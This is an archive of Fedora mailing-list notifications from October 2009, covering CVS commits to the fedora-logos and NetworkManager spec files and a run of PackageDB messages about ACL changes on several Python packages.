@@ -177,6 +177,9 @@ fi
 # end i386 bits
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.1-1
+- Update to 12.0.1, switch to generic version of firstboot-left.png
+
 * Thu Oct  1 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.0-1
 - Update to 12.0.0, F12 art (except KDE)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/F-12/sources,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- sources	1 Oct 2009 17:25:50 -0000	1.102
+++ sources	22 Oct 2009 03:14:34 -0000	1.103
@@ -1 +1 @@
-0160ab00079b8f0a5cfe15f29577cdfa  fedora-logos-12.0.0.tar.bz2
+ce7d80af2045f56368ff1c6a0d16ae08  fedora-logos-12.0.1.tar.bz2



From spot at fedoraproject.org  Thu Oct 22 03:14:35 2009
From: spot at fedoraproject.org (Tom Callaway)
Date: Thu, 22 Oct 2009 03:14:35 +0000 (UTC)
Subject: rpms/fedora-logos/devel fedora-logos.spec, 1.132, 1.133 sources,
	1.102, 1.103
Message-ID: <20091022031435.464F011C00E8@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/fedora-logos/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14376/devel

Modified Files:
	fedora-logos.spec sources 
Log Message:
12.0.1


Index: fedora-logos.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/fedora-logos.spec,v
retrieving revision 1.132
retrieving revision 1.133
diff -u -p -r1.132 -r1.133
--- fedora-logos.spec	1 Oct 2009 17:25:50 -0000	1.132
+++ fedora-logos.spec	22 Oct 2009 03:14:35 -0000	1.133
@@ -1,6 +1,6 @@
 Name: fedora-logos
 Summary: Fedora-related icons and pictures
-Version: 12.0.0
+Version: 12.0.1
 Release: 1%{?dist}
 Group: System Environment/Base
 URL: http://git.fedorahosted.org/git/fedora-logos.git/
@@ -177,6 +177,9 @@ fi
 # end i386 bits
 
 %changelog
+* Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.1-1
+- Update to 12.0.1, switch to generic version of firstboot-left.png
+
 * Thu Oct  1 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 12.0.0-1
 - Update to 12.0.0, F12 art (except KDE)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/fedora-logos/devel/sources,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- sources	1 Oct 2009 17:25:50 -0000	1.102
+++ sources	22 Oct 2009 03:14:35 -0000	1.103
@@ -1 +1 @@
-0160ab00079b8f0a5cfe15f29577cdfa  fedora-logos-12.0.0.tar.bz2
+ce7d80af2045f56368ff1c6a0d16ae08  fedora-logos-12.0.1.tar.bz2



From dcbw at fedoraproject.org  Thu Oct 22 03:16:26 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 03:16:26 +0000 (UTC)
Subject: rpms/NetworkManager/devel NetworkManager.spec,1.292,1.293
Message-ID: <20091022031626.8EB0E11C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15093

Modified Files:
	NetworkManager.spec 
Log Message:
Don't run build-time tests since we can't get the dbus uuid


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/devel/NetworkManager.spec,v
retrieving revision 1.292
retrieving revision 1.293
diff -u -p -r1.292 -r1.293
--- NetworkManager.spec	22 Oct 2009 01:45:13 -0000	1.292
+++ NetworkManager.spec	22 Oct 2009 03:16:26 -0000	1.293
@@ -172,15 +172,6 @@ autoreconf -i
 	--with-tests=yes
 make %{?_smp_mflags}
 
-# intltool is too stupid to know that the network-manager-applet subdir
-# isn't part of the NetworkManager build, so punch it in the face, otherwise
-# its 'make check' hook will complain about applet translatables that aren't
-# listed in NetworkManager's po/POTFILES
-chmod -wrx network-manager-applet-%{version}
-dbus-uuidgen --ensure=$RPM_BUILD_ROOT/var/lib/dbus/machine-id
-make check
-chmod +wrx network-manager-applet-%{version}
-
 # build the applet
 pushd network-manager-applet-%{version}
 	autoreconf -i



From dcbw at fedoraproject.org  Thu Oct 22 03:17:08 2009
From: dcbw at fedoraproject.org (Daniel Williams)
Date: Thu, 22 Oct 2009 03:17:08 +0000 (UTC)
Subject: rpms/NetworkManager/F-12 NetworkManager.spec,1.292,1.293
Message-ID: <20091022031708.03CB911C00E8@cvs1.fedora.phx.redhat.com>

Author: dcbw

Update of /cvs/pkgs/rpms/NetworkManager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15284

Modified Files:
	NetworkManager.spec 
Log Message:
Don't run build-time tests since we can't get the dbus uuid


Index: NetworkManager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/NetworkManager/F-12/NetworkManager.spec,v
retrieving revision 1.292
retrieving revision 1.293
diff -u -p -r1.292 -r1.293
--- NetworkManager.spec	22 Oct 2009 01:47:15 -0000	1.292
+++ NetworkManager.spec	22 Oct 2009 03:17:07 -0000	1.293
@@ -172,15 +172,6 @@ autoreconf -i
 	--with-tests=yes
 make %{?_smp_mflags}
 
-# intltool is too stupid to know that the network-manager-applet subdir
-# isn't part of the NetworkManager build, so punch it in the face, otherwise
-# its 'make check' hook will complain about applet translatables that aren't
-# listed in NetworkManager's po/POTFILES
-chmod -wrx network-manager-applet-%{version}
-dbus-uuidgen --ensure=$RPM_BUILD_ROOT/var/lib/dbus/machine-id
-make check
-chmod +wrx network-manager-applet-%{version}
-
 # build the applet
 pushd network-manager-applet-%{version}
 	autoreconf -i



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:42 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033142.3969A10F85F@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on fabric (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:53 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033153.D378610F880@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on fabric (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:53 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033153.DB0FA10F885@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on fabric (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:55 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033155.D1F4810F891@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on fabric (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:57 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033157.77DF710F8AB@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on fabric (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:57 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033157.944EB10F8B0@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on fabric (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:57 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033157.900BE10F8AF@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on fabric (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:31:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:31:58 +0000
Subject: [pkgdb] fabric had acl change status
Message-ID: <20091022033158.49F4510F8A2@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on fabric (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/fabric



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:03 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033203.DD69D10F885@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pyftpdlib (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:05 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033205.1394D10F891@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pyftpdlib (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:07 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033207.294D910F89A@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pyftpdlib (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:08 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033208.45DE410F8AB@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pyftpdlib (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:09 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033209.BF6E810F8B1@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pyftpdlib (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:10 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033211.1F5ED10F8AF@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pyftpdlib (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:12 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033212.349BE10F8B5@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pyftpdlib (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:13 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033213.1D97B10F8B4@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pyftpdlib (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:16 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033216.7AF5D10F85A@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on pyftpdlib (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:17 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033217.7FDE810F8B8@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on pyftpdlib (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:19 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033219.E2FCF10F895@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on pyftpdlib (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:21 +0000
Subject: [pkgdb] pyftpdlib had acl change status
Message-ID: <20091022033221.75D2C10F8BA@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on pyftpdlib (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/pyftpdlib



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:44 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033244.4758D10F88F@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-cly (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:45 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033245.4C64C10F8AB@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-cly (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:46 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033246.63E4010F8AF@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-cly (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:48 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033248.252E010F8B1@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-cly (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:49 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033249.9397910F89C@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-cly (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:50 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033251.0F93F10F8B6@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-cly (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:52 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033252.E8A5410F885@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-cly (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:54 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033254.9318110F8B4@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-cly (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:55 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033255.E5AFA10F8B8@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-cly (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:57 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033257.83A0810F8BC@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-cly (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:32:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:32:58 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033258.36EEC10F89A@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-cly (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:01 +0000
Subject: [pkgdb] python-cly had acl change status
Message-ID: <20091022033301.7E04110F8AC@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-cly (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-cly



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:08 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033309.0392E10F87F@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-hash_ring (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:09 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033309.6325810F8AD@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-hash_ring (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:10 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033310.B053D10F8B1@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-hash_ring (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:12 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033312.606F610F88F@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-hash_ring (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:15 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033315.E272D10F8B0@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-hash_ring (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:17 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033317.7357810F8B4@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-hash_ring (Fedora 12) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:17 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033317.957B110F8B8@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-hash_ring (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:18 +0000
Subject: [pkgdb] python-hash_ring had acl change status
Message-ID: <20091022033318.D5EF210F89A@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-hash_ring (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-hash_ring



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:47 +0000
Subject: [pkgdb] python-mutagen had acl change status
Message-ID: <20091022033348.002F410F891@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-mutagen (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-mutagen



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:50 +0000
Subject: [pkgdb] python-mutagen had acl change status
Message-ID: <20091022033350.3835310F895@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-mutagen (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-mutagen



From pkgdb at fedoraproject.org  Thu Oct 22 03:33:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:33:52 +0000
Subject: [pkgdb] python-mutagen had acl change status
Message-ID: <20091022033352.C63B310F8A2@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-mutagen (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-mutagen



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:12 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033412.D977210F892@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-stomper (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:17 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033418.05FD810F87F@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-stomper (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:50 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033451.0134D10F87F@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-stomper (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:52 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033452.E9FF210F88F@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-stomper (Fedora devel) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:55 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033455.21C7F10F87F@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-stomper (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:55 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033455.B076E10F892@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-stomper (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:56 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033456.A98A610F89A@bastion2.fedora.phx.redhat.com>

silas has set the commit acl on python-stomper (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:34:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:34:57 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033457.AAC2010F8AB@bastion2.fedora.phx.redhat.com>

silas has set the approveacls acl on python-stomper (Fedora devel) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:00 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033500.7079A10F880@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-stomper (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:02 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033502.2B88C10F885@bastion2.fedora.phx.redhat.com>

silas has set the watchbugzilla acl on python-stomper (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:03 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033503.17B3D10F891@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-stomper (Fedora 11) to Obsolete for jsteffan

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



From pkgdb at fedoraproject.org  Thu Oct 22 03:35:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 03:35:05 +0000
Subject: [pkgdb] python-stomper had acl change status
Message-ID: <20091022033505.99B1810F895@bastion2.fedora.phx.redhat.com>

silas has set the watchcommits acl on python-stomper (Fedora 11) to Approved for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-stomper



